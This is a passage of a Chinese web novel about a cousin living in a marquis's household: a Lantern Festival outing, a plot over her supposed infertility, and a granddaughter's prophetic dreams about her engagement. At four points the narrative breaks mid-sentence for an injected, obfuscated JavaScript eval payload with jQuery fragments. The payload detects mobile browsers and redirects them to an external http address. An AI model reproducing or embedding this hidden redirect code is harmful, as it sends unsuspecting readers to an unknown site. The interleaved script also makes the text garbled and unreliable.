庞逸闻言只得干笑。 大妹妹太看得起他了,他着实不是那块料啊! 汤婵和庞盈听得面面相觑,庞盈打圆场道:“大姐姐应当也是好意,再说大姐姐话虽如此,不也出了银子么。” 庞逸默默点头。 汤婵看他情绪不高,有点像屁颠屁颠跑来献宝,却被泼了一身冷水的小狗,想了想开解道:“喜好没有对错优劣之分,只要不伤害自己和他人便是了。” 说实话,能把吃喝玩乐钻研到精通,也不是一般人能做到的。 开句玩笑,要是论起讨欢心、吃软饭,庞逸一定天赋王者级别。 这话说得庞逸心头一热,脸庞都亮了起来,“表姐!!” 他心里知道,自己没什么出息,大妹妹与二妹妹素来瞧不上他,三妹妹也只是不反感,没想到表姐不仅没有鄙视,还这么理解他、宽慰他! 庞逸此时颇有种士为知己者死的感动,他暗下决心,表姐以后就是他的亲姐姐! 他想什么都写在脸上,汤婵看着这一句话就被PUA的傻孩子,母性大发,不禁生出一股怜爱之情。 “那便这么说定了,”汤婵的眼神不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405516|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上了慈祥,“回头我把银子给你送去。” 庞逸有点茫然地点了点头。 嗯?怎么初见表姐时的那种“莫名其妙矮了一辈”的奇怪感觉又来了? 啊哈哈,错觉,一定是错觉。 * 元宵当日,侯府按惯例在花厅摆宴听戏。 热闹了一天,天色渐暗,老夫人看着时辰差不多,便开始赶小辈出门,“今儿都谁想去看灯?想去的该回院收拾收拾了。都带好侍候的人,注意安全。” 结果她说完话,却不见一个人动弹。 这可稀奇,老夫人惊讶,“这是怎地了?都不想出门?” 这时只见庞逸嬉皮笑脸蹭了过来,“老祖宗,孙儿给您准备了个好东西——妹妹们和表姐也帮了大忙,您一定喜欢!” 老夫人却不买账,实在是庞逸前科太多,老夫人第一反应就是质疑。 她眼神狐疑地看着他,“你又折腾什么幺蛾子了?这回竟还带了丫头们一起?” 庞逸嘿嘿笑,“您跟我来就知道了。” 他拉着一头雾水的老夫人出了门,汤婵她们几个姑娘一起陪着,侯夫人和二夫人也跟在后头。 侯夫人执掌中馈,府中动静瞒不过她,自然也知道庞逸在搞什么把戏,也知道他这一遭耗费了至少千八百两银子。 庞逸是心意可嘉,可这般使费,总归逃不过被人说一句膏粱子弟。 对于这般结果,侯夫人可谓乐见其成,故而只作不知。 反正花的不是公中银两,而是庞逸自己的体己。 众人来到花园,还未及近前,庞盈的惊呼声便传入耳畔,“天啊!” 汤婵抬眼看去,只见藏蓝色天幕下亮着无数花灯,火树银花,灯火灿烂,远远望去,竟如同九天银河一般。 这番景象不由让她也惊讶了一瞬,没想到整体效果居然会这么好。 绚丽的花灯与天上的星星交相辉映,难得一个少年为了长辈能花这样的功夫和心思。 外人都如此震撼,作为主角的老夫人自然是又惊又喜,直到走到花园入口,都没能说出话来。 她生于宗室,嫁到望族,一辈子都关在深宅后院里,年轻时还能出门松快松快,如今年纪大了,只能坐在院子里看着晚辈们出门,心中怎么会不羡慕。 只是不愿给小辈添麻烦罢了。 却没想到,几个小辈居然将满园灯火送到她眼前。 老夫人久久未语,过了好一会儿,才拍了庞逸一下。 “你这个败家的,折腾这么一出,花了多少银子,真是不当家不知柴米贵!” 话里虽骂,可语气里谁能听不出高兴? 一同跟来的二夫人便笑,“逸哥儿这是孝心呢,只要老太太高兴,银子又算得了什么?可恨我那几个榆木疙瘩,读书都读迂了,再想不到这样巧的主意。” 旁边的侯夫人闻言扯了扯嘴角。 老二媳妇儿可真会说话,明褒暗贬,还抬了二房几个儿子一句会读书。 再会读也没见考出一个秀才来,还不是从了武? 老夫人心情好,只把二夫人的话当夸奖听,但嘴上还是不饶庞逸,拎着他的耳朵,“巧什么巧,就知道整这些漂亮不实用的……” 庞逸知道老夫人口不对心,也不在意,乐呵呵地听着老夫人说话,搀扶着她走进了明亮的灯火。 17. 第十七章【补600】 老夫人兴致勃勃,将花园里这个小灯展从头逛到了尾,直到走得有些累了,才恋恋不舍地回到自己院里。 她许久没这样开心,也不再拘着小辈们,笑呵呵摆摆手赶人道:“行了,不必一直陪我这个老婆子,你们年轻人自去玩罢。” 看到老夫人心满意足,小辈们也都没了心理负担,听了老夫人的话,庞盈率先欢呼雀跃,转身就约着姐妹们一起出门赏灯。 汤婵与庞雅都应了,庞妍却道:“我身子不适,就不去了。” 一到过节,外头到处都是贫民,又吵又乱,路上也不干净,天气又冷,她可不凑那个热闹。 庞盈被拒绝也不以为意,又问庞秀,“四妹妹呢?” 庞秀眼中闪过一丝渴望之色,但最终还是摇了摇头,不好意思道:“我姨娘病了,我得留在家中陪陪她,恐怕要辜负三姐姐好意了。” 庞盈面露可惜,不过她很快又露出一个爽利的笑容,安慰庞秀道:“无碍的,咱们等明年再一起出去便是!” 庞秀眼睛亮了亮,使劲点了点头。 侯夫人和二夫人并没有凑这个热闹,她们也是年轻过的人,自然知道强行凑上去只会讨嫌,于是便只加派了许多身形健壮、孔武有力的婆子,吩咐她们万不可离开姑娘们。 汤母本来不放心汤婵出门,但见到侯夫人和二夫人都同意,又有护卫的人手,才没有出言反驳。 最后侯夫人半是叮嘱半是警告道:“身边不许离了人,不得贪玩,若闹出事来,以后就再不放你们出府了!” 汤婵几个都认真应下,一同出了门。 上元时节,金吾不禁,姑娘们穿着各式缎面皮毛斗篷,戴着雪帽,围着风领,套着袖笼,缓步走在街上,环佩叮当,摇曳生姿,时不时传出清脆悦耳的笑声。 未免外人冲撞,健妇们围成一圈,将她们护在中心,路边的小女童艳羡地看着人群中几位漂亮姐姐,不过随即就被父母手中的糖葫芦吸引走了注意力。 东风夜放花千树,长街灯火通明,璀璨夺目,各式各样的花灯让人目不暇接。 庞盈一脸兴奋之色,时不时与汤婵叽叽喳喳,汤婵被她带得心情都不自觉好起来。 转过视线,却注意到一旁的庞雅看着好像有些心不在焉。 她刚想开口询问,外围却忽然传来婆子的问好声。 汤婵循声望去,只见一温润男子搀扶着一位相貌严肃的老妇人站在那里,老妇人她见过,正是前些日子到府中做客的宋家老夫人。 庞盈激动起来,胳膊肘捅了捅汤婵。 竟是这样巧,她们遇见了庞雅未来夫家的宋家祖孙。 这是汤婵第一次见到庞雅的未婚夫婿宋羲和,男子二十出头的年纪,气质温和纯善,很是守礼,眼神收束并不乱看,很容易让人心上好感。 既是未来亲家,礼数自然要周全,两家打过招呼后便一起同行。 宋家老夫人跟姑娘们聊起了天,一行人说说笑笑地逛了一会儿,正巧路过一间茶楼,宋老夫人道:“我年老体弱,不比你们年轻人,想进茶楼歇一歇,你们自去逛吧。” 庞盈眼珠一转,想到什么,一个劲儿地给汤婵使眼色,跟宋老夫人主动请缨道:“我跟表姐陪老夫人吧!” 那不就留下了庞雅跟宋羲和? 庞盈打得什么主意,众人一听就明白,庞雅霎时便红了脸,宋羲和也很不自在。 按说宋家和侯府已经交换了庚帖,写了婚书,二人已经算是未婚夫妻,若长辈宽容开明,在元宵这样的节日里是可以说说私话的。 宋老夫人稍微顿了一下,几不可查地蹙了蹙眉。 虽觉得有些孟浪,但她到底没有驳庞盈的面子,“也好。” 宋老夫人同意了,汤婵自然愿意成人之美,两人能在婚前培养培养感情再好不过,反正有婆子在,不必担心出什么事。 她看向庞雅,“表妹自己可以吗?” 庞雅的脸颊更红了。 她微不可察地点了点头,汤婵就笑着对宋羲和道:“那便有劳宋家表哥了。” 宋老夫人叮嘱孙儿道:“早去早回。” 宋羲和红着耳根应了。 汤婵和庞盈跟着宋老夫人进了茶楼,留下面红耳赤的宋羲和与垂眸羞涩的庞雅。 最后还是庞雅先开了口,“我们……走那边吧。” 宋羲和连忙点头,与庞雅保持一定距离走在她身边,丫鬟婆子则跟在两人身后,默契地将留出空间给这对未婚夫妻。 宋羲和没有和姑娘相处的经验,此时颇有些局促,想了半天,才想到了一个话题,“之前送给表妹的生辰礼,表妹喜欢吗?” “喜欢的,”庞雅轻轻点了点头,“表哥有心了。” 得到认可,宋羲和温和的脸庞忍不住露出笑意,他认真承诺道:“以后表妹有什么想要的便尽管告诉我,我会尽我所能送给你。” 庞雅眼睫颤了颤。 什么都可以吗? 可我想要一品诰命、富贵权势,你也能给我吗? 她看着熟悉又陌生的青年,现实与梦中的景象止不住在眼前交错而过。 庞雅攥紧了手炉,耳畔是自己紧张的心跳声。 她轻声开口,“表哥的生辰,是不是在下个月十八?” “表妹知道我的生辰?” 宋羲和十分惊喜,随即他便反应过来,是了,他们已经交换了庚贴,他祖母交代他给庞雅送礼,同样,庞雅也是可以从长辈处得知自己的生辰的! 他心中一阵雀跃,她问起这个,是也想送自己礼物吗? 她会送自己什么呢? 宋羲和只顾着自己胡思乱想,根本不敢直视庞雅,也就没有注意到自己的未婚妻在听到他的回答后,瞬间变得雪白的脸色。 ……果然! 庞雅死死咬住了嘴唇。 宋羲和以为是她是从老夫人那里知道了他的生辰,可实际上老夫人根本没与她提过——二月十八这个日子,是她从梦里得知的! 她刻意拿来试探宋羲和,却得到了自己最不想要的结果。 之前的问名之日,就与梦中是同一天,如今连宋羲和的生辰都与梦中对得上! 庞雅不能再安慰自己一切都是巧合了,她的噩梦不止是梦,那清苦拮据的后半生就是她的未来! 她袖笼里的双拳握紧,好一会儿没能说出话来,宋羲和回过神来,总算发现了不对。 借着灯火,宋羲和只见对方脸色有些发白,他心中一紧,关切问道:“表妹怎么了?还好吗?” “没事,”庞雅似是害羞般低下了头,“只是觉得有些冷……让表哥见笑了。” “时辰愈晚,也确实愈发冷了,”宋羲和温声抚慰,他并没有察觉出不对,嗓音柔和说道,“那我们快些回茶楼吧,也免得祖母她们等急了。” 庞雅轻声应了好。 她垂下眼帘,遮住里面的挣扎与不甘。 既然老天厚爱,让她经历梦境示警,她一定要想想办法,绝不能落得梦里的下场! * 茶楼里,汤婵跟庞盈陪着宋老夫人品茗聊天,说了不一会儿,庞雅同宋羲和就回来了。 宋老夫人见他们回来得这样快,不由有些惊讶,“怎么不多逛一逛?” 宋羲和解释道:“外头天冷,表妹身子有些受不住,便早早回来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405517|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋老夫人一听,还以为庞雅是借口太冷,才好不跟宋羲和独自待太久。 她不由高看了庞雅一眼,心说这才是知礼不轻浮的姑娘,眼神也柔和了一瞬,对庞雅道:“快坐下,喝些热茶暖暖身子吧。” 庞雅道谢入座,宋羲和不好和姑娘们同桌,便侍立在宋老夫人身后。 等庞雅坐下,宋老夫人转过头问汤婵,“刚刚说到哪里来着?” 汤婵笑道:“说到您小时候去看杭州府的灯节。” “是了,”宋老夫人想了起来,她语气感慨,“我第一次去的时候,还是个刚留头的小姑娘,一晃竟这么多年过去了。” 宋老夫人儿时随父上任,曾在杭州府住过三年,故而很难得的,竟跟汤婵有了一点共同语言。 一旁的庞雅本来有些魂不守舍,此时听着二人谈兴正浓,不由有点惊讶。 随即她不知想到什么,看向汤蝉的目光一闪。 汤婵没有注意到庞雅的眼神,她正听宋老夫人讲古说儿时最喜欢某一家的糖糕,笑道:“……原来李记曾是卖糕点果子的?如今已经是干货铺子了,不过隔壁的炊饼铺子倒还在呢!” 二人又聊了一小会儿,宋老夫人便觉得有些疲惫。 她毕竟上了年岁,又裹了脚,今日逛了许久,此时已经精力不济,这便要回了。 “不耽误你们几个年轻丫头了。” 许是谈话间记起了儿时无忧无虑的时光,宋老夫人难得露出一点笑意,“去玩罢,注意安全。” 送走宋老夫人,庞盈表情松懈下来,轻轻呼出一口气。 她佩服地看着汤婵,“宋老夫人这样严厉的长辈,表姐是怎么和她聊得这么好的?” 汤婵被她这么一说,才反应过来什么。 啊,卑微打工人的生存技能刻入骨髓了属于是。 汤婵微笑,“时间不早了,咱们赶紧出去逛逛吧。” 庞盈被转移了注意力,立刻就把刚才的事放在脑后,面露兴奋道:“是了是了,咱们走。” “表姐,三妹妹。” 庞雅这时满是歉意开口,“我有些累了,怕是不能同你们一起了。” 庞盈闻言不由“啊”了一声。 庞雅诚恳道:“实在抱歉,扫了你们的兴。” “大姐姐快别这样说,”庞盈连忙收起有点落寞的表情,认真道,“你的身子要紧,赶快回家好好休息才是,我跟表姐一起就好。” 庞雅这才轻松下来,面露感激,轻轻点了点头,“多谢三妹妹。” 看着庞雅离去的背影,庞盈吸了吸鼻子,“现在就剩表姐跟我了……” 她说着,突然意识到了什么,不由一顿,转头和汤婵对视一眼。 看到汤婵露出一个心照不宣的笑,庞盈的眼神逐渐亮了起来。 …… “表姐表姐,那边看着热闹,咱们去看看!” “那个没什么意思,人又多,我先带你玩这个,等会儿咱们再去那边。” 逛摊市、猜灯谜、看舞龙、放烟火……没了顾忌,臭味相投的两个人直接放飞,不剩半点大家闺秀的矜持,要不是婆子劝着,两人都能跑到人家祈舞的队伍里去。 直到夜上中天,两人才捧着一大堆或买或赢来的玩意儿,心满意足地回到府里。 庞盈眸子亮晶晶的,又累又满足,“表姐,咱们下次再一起出去!” 汤婵笑着点了点头。 憋了这么久,可算痛快玩了一回。 然而有个词叫乐极生悲,第二天汤婵一醒来,就觉得脑袋昏沉沉的。 秋月见汤婵面色不对,拿手一碰汤婵的额头,“呀,姑娘发烧了!” 18. 第十八章 “定是昨夜吹了风,染了风寒。” 闻讯而来的汤母忧心忡忡,“昨日不该让你出门的,你落过水,身子根底本来就弱,以后还是要多注意……” 汤婵打了个喷嚏,她身上很是酸痛,没力气答话,只蔫蔫地点了头。 汤母将事情报到侯夫人那里,想派人请个大夫,没想到侯夫人很是关切,吩咐下人拿帖子去请太医。 太医是有品级的,一般人使唤不动,汤母吓了一跳,“这……会不会太过了?我们哪里受得起。” 侯夫人笑着宽慰,“这有什么,咱们这样的人家,这点脸面还是有的。” 汤母十分过意不去,但又实在担心汤婵不舍得拒绝,只得再三给侯夫人道谢,“给您添麻烦了。” “都是自家人,哪有什么麻烦不麻烦,”侯夫人笑道,“你再把我们当外人,不说我,老祖宗可要伤心的。” 汤母心中一暖,颔首应是。 太医很快就到了,来者是位严肃的中年大夫,姓王。 隔着纱帘望闻问切,王太医诊断汤婵没有大碍,对汤母道:“夫人不必担忧,令爱只是偶感风寒,吃两剂药,好好休息几天便好。” 汤母这才放下心来,感激道:“有劳您了。” “不敢。” 王太医开了方子,便去侯夫人处复命。 侯夫人随口问道:“没有大碍吧?” “并无大碍,”王太医恭敬回话,随即想到什么,补充道,“不过在下并不擅长妇人科,贵府表小姐的旧疾,还是请尹老太医瞧瞧为好。” 侯夫人眉头一动,什么旧疾,这话什么意思? 等等,太医院姓尹的老太医只有一位,是出了名的妇科圣手,难道……汤家丫头竟然在这上头有什么不妥不成? 她心头一跳,面上不动声色,屏退了众人后,试探问王太医道:“依您看,我家表姑娘的情况很棘手,只有请尹老太医出马才行?” 王太医没察觉出丝毫不对,斟酌道:“倒也不一定,许多专门调理宫寒不孕的良方并不外传,民间也有杏林高手,有世代家传的良方专门调理宫寒不孕,只是鱼龙混杂,若要寻医,须得谨慎探访才是。” 果真! 宫寒不孕……侯夫人心中一震,原来那丫头竟有不能生育的毛病! “多谢太医。”她定了定神,示意潘妈妈递上一个厚红封,“我家姑娘还未出嫁,姑娘家名誉最为要紧,在这上头,还请王太医多多保密才是。” 这样私密的事情,确实不能传出去,王太医很是理解,“这个自然,夫人放心,在下定然守口如瓶。” 叫人送了王太医出去,侯夫人坐回到榻上,心下迅速转开了念头。 老太太把汤家丫头接上京,多半没存着什么好心,若是她坚持把侄女儿芳姐儿说给庞逸,说不得老太太就要把汤家丫头塞进庞逸院子里做妾。 可如果汤家丫头不能生……那干脆再往前推一把,把人嫁给庞逸当正妻岂不正好? 若她嫁了庞逸,却生不出嫡子,庆祥侯这个爵位的着落,自己的远哥儿可就有运作的空间了! 老二媳妇儿的父亲营国公,不就是这么捡到了爵位? 当时大房二房也不是没有庶子,二房还有一个记在嫡母名下的,但在三房的运作之下,最后爵位还是落到了三房头上,只因当今圣上是长子嫡出,素来偏向正嫡。 远哥儿是庞逸正经嫡出的弟弟,若是庞逸有嫡子,那远哥儿只能干看着,可若没有……那就有她求的变数! 想到这里,侯夫人眼睛不由发亮。 庞逸生母虽已经不在,却有个极不好惹的外家舅舅,因着解家的威慑,侯夫人从来不敢对庞逸下狠手,也不敢明着打爵位的主意,最多也只是把他养废,在他的名声上动动手脚。 可如今却有这样一个兵不刃血的好机会摆在眼前……侯夫人心头一阵发热。 她按捺住激动,让自己冷静下来。 这件事情,要好好运作才是…… * “阿嚏!” 汤婵不知道侯夫人在打她的主意,她吸了吸鼻子,苦着脸看着秋月端到眼前的药汁子,实在下不去嘴。 长痛不如短痛,汤婵捏着鼻子把药灌了下去,脸色皱成一团。 盯着她喝完药的汤母却舒展了眉,等汤婵漱了口躺下,汤母给汤婵掖了掖被角,“双巧已经去绿筠轩给你告假了,你安心睡一觉,好好休息。” 元宵节过去,姑娘们恢复上课,但汤婵这个模样,暂时不好去上学,以防过了病气给其他人。 汤婵蔫巴巴地点了点头。 …… 喝过药睡了一觉,发了汗,汤婵再醒来就惊喜地发现,自己的烧已经退了下来,浑身的沉重感也没了。 汤母喜得直道“老天保佑”。 汤婵心说哪里是老天保佑,分明是我每天走圈,增强了体质和免疫力的缘故。 汤母看她还有力气抬杠,嗔她一眼,但总算放心地走了。 “姑娘,”秋月打了帘子进来,“三姑娘来探病了。” 庞盈进了屋,看见汤婵还算中气十足的模样,不由大松口气。 她刚要说话,就被汤婵笑着打断,“你这一脸愧疚的样子,不是想道罪吧?” 庞盈一愣,她确实觉得表姐生病是因为陪自己出去玩来着。 却听汤婵笑道:“是我自个儿想玩的,可不是为着你,三妹妹别想太多。” 话有点不好听,但庞盈知道,汤婵是不愿她有负罪感,才故意这样说的。 她心里一暖,没有辜负汤婵的好意,不再说起这个,转而示意拎着东西的丫鬟,对汤婵道:“我从母亲那要来一支老参,用来补身体再好不过,表姐拿去煲汤吧。” 汤婵有些诧异,“这也太贵重了。” “一支参而已,算不得什么,表姐别客气。” 庞盈其实有点心虚。 她问二夫人要药材时,被二夫人抓着好一通旁敲侧击,比如汤婵为人如何,平时会不会跟庞盈打听她大哥等等。 二夫人不自觉露出的对汤婵的轻视,让庞盈很是尴尬。 其实要不是大哥已经订了婚事,庞盈第一个想让表姐做自己的嫂子,只是这话却根本不能叫母亲听见。 直到确认汤婵并没有“居心不轨”,二夫人才算放过庞盈,让她自己去开库房去挑礼。庞盈心里觉得对不起汤婵,这才挑了这支老参,也有为母亲道歉之意。 汤婵并不知庞盈心中所想,见庞盈坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405518|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也就不再推拒,她笑道:“多谢三妹妹,也替我谢过二夫人。” 庞盈这才高兴起来。 汤婵怕把感冒传染给对方,并没有留庞盈太久,两人约好等汤婵病愈后一同描花样子,庞盈就离开了。 庞盈前脚刚走,后脚庞雅也来了。 “听闻表姐病了,老夫人很是挂念,嘱咐我来看看表姐。” 她帮汤婵带了一些滋补的燕窝,汤婵笑着道了谢,“多谢表妹,等我病好了,亲自去向老祖宗道谢。” 送完东西,庞雅却没有告辞,反而露出踌躇的表情。 汤婵看出她有话说,问道:“妹妹还有事?” 庞雅欲言又止,最后露出一丝苦笑,“按说不该在表姐病中打扰,可妹妹们都还小,我实在是不知道该找谁诉说才好。” “表妹这话就太客气了,”汤婵有点担心,这段时间庞雅的状态一直不太对劲,“有什么事情,你说。” 庞雅抿了抿唇,低声道:“不知是否要出嫁的缘故,我近来心中十分不安……” 她看向汤婵,语气忐忑,“表姐,你觉得宋家怎么样?宋家表哥是个什么样的人?” 原来是嫁人之前害怕,汤婵放下心来,想了想道:“我并没接触过宋家表哥,不太清楚,但就上元那次偶遇来看,感觉宋家表哥是个细心知礼的。至于宋家,其他的我不好说,但家中关系简单、家风清正这一点总不会错。” “姑娘嫁人是一辈子的大事,表妹心中紧张恐惧,都很正常。”汤婵柔声宽慰道,“但老夫人素来最是疼你,婚事定是精挑细选过的,妹妹不用太过担忧。” 庞雅听着汤婵说话,眼神一暖,心中的念头逐渐坚定起来。 梦里,嫡母将表姐许给了那个骄奢淫逸、欺男霸女的锦平侯,借此攀上了锦平侯的姑母庄华长公主,成功将二妹妹嫁进了丰王府。 而被牺牲的表姐嫁进锦平侯府没多久,就不幸守了寡。 锦平侯醉酒后意外去世,表姐年纪轻轻便成了寡妇,连一个自己的子嗣都没来得及诞下。 自己的夫君宋羲和金榜题名,摆宴庆贺时,表姐就因为新寡不便到场,只派人送了贺礼,席间有人提起表姐,都是带着唏嘘。 丧夫无子,一辈子独守空房,空有一个侯夫人的名头,又有什么用? 庞雅想,与其让表姐经历梦中的不幸,不如把自己的婚事让给表姐。 宋家的日子虽然简朴,但正如表姐所说,他们的家风清正和睦,并无一般高门的藏污纳垢。 宋家老夫人虽然为人严苛古板,但本性并不凶恶,她嫁进宋家后,宋家老夫人一直对她颇为照顾,那日看宋老夫人与表姐相谈甚欢,想来若是换成表姐,二人也一定能相处得很好。 至于宋羲和本人,他性情温和,又有状元之才,对待妻子十分爱重,有不少人在宋羲和高中之后试图赠妾,都被宋羲和婉拒,京中人都曾艳羡他们夫妻相合,伉俪情深。 表姐这样夸赞宋家,想来是绝对愿意嫁进去的。 这样一桩婚事,哪怕最后宋羲和辞官归隐,也不算辱没了表姐。 总比嫁给锦平侯那种败类强得多。 庞雅下定了决心。 她要帮一把表姐,也是帮她自己。 19. 第十九章 汤婵的风寒好得很快,到老夫人过寿辰前,便又能活蹦乱跳了。 家中老祖宗过寿是大事,年前回到府上的庆祥侯从那时候就开始准备,从正日子前三天到后三天都大摆宴席,整个侯府张灯结彩,喜气洋洋。 除了大宴,府上还专门摆了小宴,只请一些更为亲近的亲朋好友。 大花厅里欢声笑语,侯夫人与二夫人正招呼客人。 到访的女眷有的来自老夫人的娘家辅国将军府,还有侯夫人的娘家诚勤伯府,二夫人的娘家营国公府,又有包括宋家在内的和庆祥侯府素来交好的四五人家,十分热闹。 老夫人身穿赭红色袄,头戴貂毛卧兔,笑容满面地坐在上首听着吉祥话。 姑娘们挨个送上寿礼,这也是在亲朋好友面前展示的机会,说不准就得了在座哪位夫人的眼缘,成就一桩好亲。 庞雅绣了一幅精美的麻姑献寿图,赢得满场赞美。 “这是你家大孙女?”老夫人的老嫂子、辅国将军夫人毛氏眯着眼,看了好一会儿后赞道,“出落得可真好,听说刚许了人家?” “是,定了宋家。”听她夸庞雅,老夫人的笑容更深了几分,“我这宴,雅姐儿也帮了好大的忙呢。” 庞雅羞赧低头,一旁又有人笑着恭喜宋家老夫人喜得佳媳。 宋老夫人淡淡笑道:“老夫人会调教,庞家的女儿都是好姑娘。” 庞雅之后,庞妍送了手抄的经书,庞盈庞秀还有汤婵也都送了针线。汤婵绣了一幅百寿图,依旧是老风格,呆板不灵动,比不得其他姑娘们,但能看出努过力,老夫人都欢喜地收下了。 自来京后,汤婵还没在宴席里出现过,毛老夫人问自家姑子,“咦,这丫头倒瞧着眼生。” 老夫人笑道:“是老侯爷五弟一房的外孙女,可怜没了父亲,孤儿寡母的受人欺凌,我便叫接进京来,人多家里也热闹。” 毛老夫人听完,目露赞许,“你心慈。” 夫人们三三两两聚着说话,看老夫人似乎颇为重视汤婵的样子,毛老夫人的儿媳便跟汤母搭起话来。 老夫人的太爷与太/祖是兄弟,被封了亲王,爵位降等传袭,到这一代虽然已经降到了奉国将军,但家中枝繁叶茂,子孙也颇为争气,不少有出息的子弟在京军中担任要职。 汤母被主动搭话,颇有些受宠若惊。 总算是有合适的交际场合给汤婵物色婚事,汤母十分重视,眉眼带笑地应酬起来。 另一边,侯夫人的娘家嫂子诚勤伯夫人带着女儿芳姐儿,来到侯夫人处问安。 寒暄过后,诚勤伯夫人对女儿道:“去找你二表姐玩罢。” 芳姐儿应了。 等支开女儿,诚勤伯夫人看着周围没人,小声探问道:“大妹妹,芳姐儿的亲事,你到底是怎么想的?” 嫂子暗示过要将芳姐儿说给庞逸,最近却没了下文,诚勤伯夫人微一停顿,“若是不成,妹妹给我递个话,我也早些另做打算。” 其实芳姐儿才刚刚十三,并不着急,诚勤伯夫人这话并不是本意,而是想催一催侯夫人。 诚勤伯府虽有个世袭的爵位,但早年便现出颓势,近年愈发落魄,对女儿来说,嫁进庆祥侯府可是一桩难得的好亲——婆母是自家姑姑,夫君又是承爵的嫡长子,这样的好事,错过这个村,可就没这个店了。 只是侯夫人如今得知汤婵不能生子,早已经改了主意,想撮合庞逸跟汤婵,被娘家嫂子这样问起,便做出一副无奈的样子来,低声道:“我自然是恨不得明日就将芳姐儿娶进门,可我家老太太固执得很,说什么也不松口。” 说着她微微摇头,诚勤伯夫人有点傻眼,怎么说好的事情,就不作数了呢? “这……”诚勤伯夫人不死心地问道:“真不成了?” 侯夫人叹气,“我这边会继续说服老夫人,但成不成我就不敢保证了,嫂子做两手准备吧——只是不要大张旗鼓,不然我不好同老夫人交代。” 诚勤伯夫人表情有些不太好看。 “你别急,”侯夫人见状安慰道,“芳姐儿是我的侄女,我只有盼着她好的,就算真的没有做婆媳的缘分,有什么好亲事,我一定替她留意。” 诚勤伯夫人强笑着道谢,却没把侯夫人的话当真。 侯夫人有妍姐儿这个亲生女儿,真有什么好亲事,还不是要先为妍姐儿打算! 不成,诚勤伯夫人心里嘀咕,她得想想法子,可不能轻易放过这样庞逸这样一个好人选。 …… 过寿自然少不了唱戏,庆祥侯府有自己的戏楼,但没有家养的戏班——其实早年老侯爷在时是有的,只是里头大半伶人都被老侯爷染指,后来老侯爷去了,老夫人便把人全都遣散出去。 侯爷知道老夫人的忌讳,侯府里再没养过家班,如今逢年过节,府上都是从外头请了戏班子来唱戏。 女眷们挪到戏楼,老夫人是寿星,当仁不让点了戏,“便唱《满床笏》吧,听着喜庆。” 她点了一出《赐婚》,又点了一出《笏圆》,不一会儿,丝竹锣鼓声起,戏开场了。 “这是广和班?” 却有好这口的夫人认出台上的角儿,不由惊讶出声,“广和班可是如今京城最炙手可热的戏班子,等闲人家提前几个月都请不到,老夫人是怎么请动的?” “这我却不知晓,”老夫人笑道,“戏班子的事,都是我那不成器的孙子张罗的。” 那位夫人便笑着恭维,“老夫人好福气,这是世子的孝心呢!” “哪里,一只泼皮猴儿罢了,整天不干正事。”老夫人连连摆手,眼中的笑容却没褪下去,“不提他了,听戏,听戏。” 桌上配了各式点心和酒水,老夫人兴头上来,指着酒对身旁众人道:“都尝尝,这酒是我家雅姐儿照着什么古方鼓捣出来的,又是采了梅花枝头新雪,又是梨花花梢朝露,折腾得很。” 有人便笑道:“这样风雅的好东西,咱们可不能错过了。” 宋老夫人听说这是庞雅酿的,也倒了一杯。 酒是果子酿,味道酸甜,酒味不重,很是不错,宋老夫人不自觉就喝了好几杯。 等她后知后觉,开始头晕的时候已经晚了。 喝的时候不觉得,实则这果子酒的后劲并不小,不过片刻,宋家老夫人便醉了。 老夫人注意到宋老夫人脸色酡红,不由一笑,叫来一个小丫鬟吩咐道,“领老夫人下去歇歇。” 小丫鬟忙脆生生应了。 长辈们坐了一桌,这头姑娘们一起凑了一桌,一同聊天吃茶。 戏台上唱念做打,汤婵听不大懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405519|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但磕着瓜子瞧个热闹,看得也挺开心。 “哎呀!” 耳边传来一声惊呼,随即汤婵感觉身上一阵湿意。 她扭头一看,原来是丫鬟上酒水时,一旁的庞雅没有注意,不慎抬手撞翻了盘子,盘子脱手,酒水恰巧洒到了她的身上。 “表姑娘恕罪!” 